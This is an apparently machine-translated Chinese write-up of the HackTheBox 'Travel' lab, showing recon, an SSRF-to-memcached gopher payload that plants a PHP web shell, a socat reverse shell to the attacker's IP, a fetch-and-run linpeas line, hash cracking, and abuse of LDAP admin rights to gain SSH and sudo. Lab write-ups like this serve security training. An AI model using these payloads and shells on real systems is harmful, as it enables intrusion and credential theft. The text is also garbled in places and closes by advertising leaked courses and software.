HackTheBox。通道旅行。内存缓存+ SSRF = RCE,基于LDAP的LPE



我将继续发布从HackTheBox网站发送到计算机最终定稿的解决方案



在本文中,我们指出了如何使用PHP内存缓存和SSRF获取RCE,深入数据库并了解LDAP管理员面临的危险。



与实验室的连接是通过VPN。建议您不要从工作计算机或有重要数据的主机连接,因为您会发现自己与某个对信息安全有所了解的人处于私有网络中。



组织信息
, , Telegram . , , .



. , - , .



侦察



这台机器的IP地址为10.10.10.189,我将其添加到/ etc / hosts中。



10.10.10.189 	travel.htb


第一步是扫描打开的端口。由于使用nmap扫描所有端口会花费很长时间,因此我将首先使用masscan进行扫描。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.189 --rate=500






现在,要获取有关端口上运行的服务的更多详细信息,请使用-A选项运行扫描。



nmap -A travel.htb -p22,80,443






因此,我们可以访问SSH服务和Nginx Web服务器。扫描显示证书打算用于哪个DNS。让我们将它们添加到/ etc / hosts中。



10.10.10.189    www.travel.htb
10.10.10.189    blog.travel.htb
10.10.10.189    blog-dev.travel.htb


让我们看一下这些站点。在第一个网站上,我们找到了网站的描述。







第二个更有趣。我们立即看到这是一个WordPress CMS,然后找到搜索表单。







使用wpscan快速检查该站点,我们什么都没找到。继续并返回第403错误的第三个站点,让我们遍历目录。我为此使用gobuster。在参数中,我们指定流128(-t),URL(-u),字典(-w)和我们感兴趣的扩展(-x)的数量。



gobuster dir -t 128 -u blog-dev.travel.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html






查找.git。我们可以复制存储库。







这可以通过各种程序来完成,我使用rip-git脚本



./rip-git.pl -v -u http://blog-dev.travel.htb/.git/






在当前目录中,我们将看到生成的文件和.git存储库。







我们使用gitk来处理.git。







有一个变更日志,从中我们注意到存在缓存和安全检查。







在rss_template.php文件中,标记memcache,url参数的存在和调试。







参数必须包含字符串“ custom_feed_url”。并且最有可能在此地址提出请求。







RSS页面位于blog.travel.htb







让我们启动本地Web服务器并访问awesome-rss,将我们的IP作为参数传递。



curl http://blog.travel.htb/awesome-rss/?custom_feed_url=10.10.14.120






并且我们观察到这些假设是正确的。请注意,如果缺少该网址,则将选择www.travel.htb / newsfeed / customfeed.xml



入口点



自述文件说将这些文件移动到wp-content / themes / twenty二十(我在寻找debug.php文件时注意到了这一点)。调试文件可以在此处找到。











因此,所有这些都很有趣并且尚不清楚,但是看起来像是序列化的数据。让我们从所有信息中收集一件事:
  1. 我们需要联系服务器并获取feed.xml文件。



  2. url传递给的函数使用SimplePie API(为此提供了很好的文档)和memcache。此函数将返回一个simplepie对象。



  3. url_get_contents函数在template.php中提供。在这种情况下,将进行检查,这不应使我们有机会访问服务器上的文件。但是SSRF筛选器不够正确,因为我们还可以使用地址127.0.1.1、127.1、127.000.0.1等访问localhost。



  4. 接下来,显示来自feed.xml文件的信息。
  5. 还有一个TemplateHelper类和一个init()函数,该函数将传输的数据写入指定的文件。





仍然需要弄清楚将序列化数据写入日志目录中的哪个文件。让我们参考文档:







因此,该路径被解释为MD5(MD5(url)+“:spc”)。让我们检查一下,为此,我们从默认URL下载xml文件。



wget http://www.travel.htb/newsfeed/customfeed.xml -O feed.xml


现在转到RSS页面,将下载的文件传递到URL。



curl http://blog.travel.htb/awesome-rss/?custom_feed_url=http://10.10.14.120/feed.xml


然后我们得到序列化的数据。



curl http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php






现在,使用上述公式,我们可以计算出解释路径。







与前10个字节匹配!这里概述了攻击媒介-PHP memcached和SSRF。谷歌搜索使我想到了这个脚本







您只需要为我们的案例更改代码。让我们创建序列化数据。



 code = 'O:14:"TemplateHelper":2:{s:4:"file";s:8:"ralf.php";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}'


因此,我们将编写代码<?Php系统($ _ REQUEST [“ cmd”]); 反序列化时访问ralf.php文件。我们最感兴趣的密钥是xct_key,我们已经可以计算出它了。







然后我们得到以下代码来创建负载。



encodedpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
return "gopher://127.00.0.1:11211/_" + encodedpayload


我们将反序列化。



r = requests.get("http://blog.travel.htb/awesome-rss/?debug=yes&custom_feed_url="+payload)
r = requests.get("http://blog.travel.htb/awesome-rss/")


完整的代码如下所示(一如既往)。











好吧,让我们正常散步。但是由于python pty存在问题,让我们使用socat创建一个反向连接外壳。让我们在客户端上启动侦听器:



socat file:`tty`,raw,echo=0 tcp-listen:4321


并从服务器连接:



socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.89:4321






用户



通常在这种情况下,您应该使用wordpress检查用户数据库。让我们找到wp-config.php文件。







使用这些凭据,让我们连接到mysql,我们的任务是找到wp_users表。



mysql -h 127.0.0.1 -u wp -p


让我们看一下数据库。







让我们看看wp数据库。











我们找到所需的表。







没错,当尝试对哈希进行暴力破解时,我们会失败。没有这样的密码。然后,我将linpeas脚本下载到计算机上,并进行了一些基本枚举。



curl 10.10.14.89/tools/linpeas.sh > /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh ; /tmp/linpeas.sh


除了在Docker容器中之外,我们没有发现任何特殊之处。







但是此脚本不会检查opt目录。而且因为我们只是找到数据库备份。







如果我们查看此文件中的行,则最后有一个有关两个用户的条目。







但是第二个只是瘀伤。







hashcat -a 0 -m 400 wp.hash tools/rockyou.txt






并使用找到的密码,通过ssh连接。









我们还在用户的工作目录中找到两个有趣的文件-.ldaprc和.viminfo。







让我们看看里面有什么。因此,在第一个文件中,我们找到了用户的ldap记录。







第二个是他的ldap密码。







让我们来看看。使用-x(简单身份验证)和-w(密码)选项调用ldapwhoami。



ldapwhoami -x -w Theroadlesstraveled






我们看到来自.ldaprc文件的条目。让我们询问信息。



ldapsearch -x -w Theroadlesstraveled










因此,我们获得了用户列表,并且知道我们是LDAP管理员。也就是说,我们可以为任何用户创建一个SSH密钥,更改密码并将sudo组输入到该组中!Sudo组-27。







让我们创建一对密钥。







现在让我们创建一个配置文件。







让我们将它们应用于坦率的用户。



ldapmodify -D "cn=lynik-admin,dc=travel,dc=htb"  -w Theroadlesstraveled -f frank.ldif






并通过SSH连接



ssh -i id_rsa frank@travel


现在,让我们使用sudo和我们的密码。







您可以通过Telegram加入我们在这里,您可以找到有趣的资料,泄漏的课程和软件。让我们建立一个社区,在这个社区中,将有很多IT领域的专家,然后我们可以在任何IT和信息安全问题上互相帮助。



All Articles